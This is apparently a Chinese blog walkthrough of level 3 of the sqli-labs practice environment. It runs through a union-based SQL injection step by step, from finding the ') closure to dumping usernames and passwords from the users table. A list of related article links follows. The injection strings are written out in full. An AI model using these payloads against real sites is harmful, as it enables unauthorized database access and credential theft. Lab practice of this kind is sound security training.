SQL注入实例(sqli-labs/less-3)

0、初始页面

1、确定闭合字符

确定为字符型注入

复制代码
?id=1 and 1=1 
?id=1 and 1=2

确定闭合字符为 ')

复制代码
?id=1'
?id=1')

2、确定表的列数

确定查询表的列数为3

复制代码
?id=1') order by 3 --+

3、确定回显位置

确定回显位置为第二列和第三列

复制代码
?id=-1') union select 1,2,3 --+

4、爆库名

当前所在数据库为security

复制代码
?id=-1') union select 1,user(),database() --+

5、爆表名

查看users表

复制代码
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+

6、爆列名

复制代码
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' --+

7、显示最终结果

复制代码
?id=-1%27) union select 1,2,group_concat(username,0x3a,password) from security.users --+
相关推荐
lusklusklusk7 小时前
使用Visual Studio一步步创建并部署SSRS_PBIRS报表:数据源配置、图表设计、参数化查询、部署参数与排错实战
数据库·ide·visual studio
loopfde成序9 小时前
Playwright 与 CDP 多账号并发采集架构:标签页生命周期治理与联网问答证据链留存实践
数据库·架构
毅炼10 小时前
多 Agent 不会自动提速:先看任务图和改动怎么合
数据库·软件工程
GeW10 小时前
入行 Linux 与数据库运维:一条路径、三项习惯、一个考证观
linux·数据库
拖延症晚期的Liu13 小时前
数据表的操作
大数据·数据库·sql
FungLeo16 小时前
FengCMS · PHP+MySQL 升级实录 · 数据库驱动封装:mysqli 预处理与 affected_rows 关闭后变 -1 的坑
数据库·mysql·php·工程实践·fengcms
YYYing.16 小时前
【Redis剑指offer系列 (二) 】Redis线程模型
数据库·redis·缓存·八股
维爱智VR认知学能17 小时前
Python SQLite本地训练记录表迁移失败回滚与事务验证
数据库·python·单元测试·sqlite·软件工程
OpenCSG17 小时前
客户案例|Dell携手OpenCSG打造AI原生超节点
数据库·人工智能·ai-native
TDengine (老段)17 小时前
TDengine IDMP ---- Excel 插件
大数据·数据库·excel·时序数据库·tdengine·涛思数据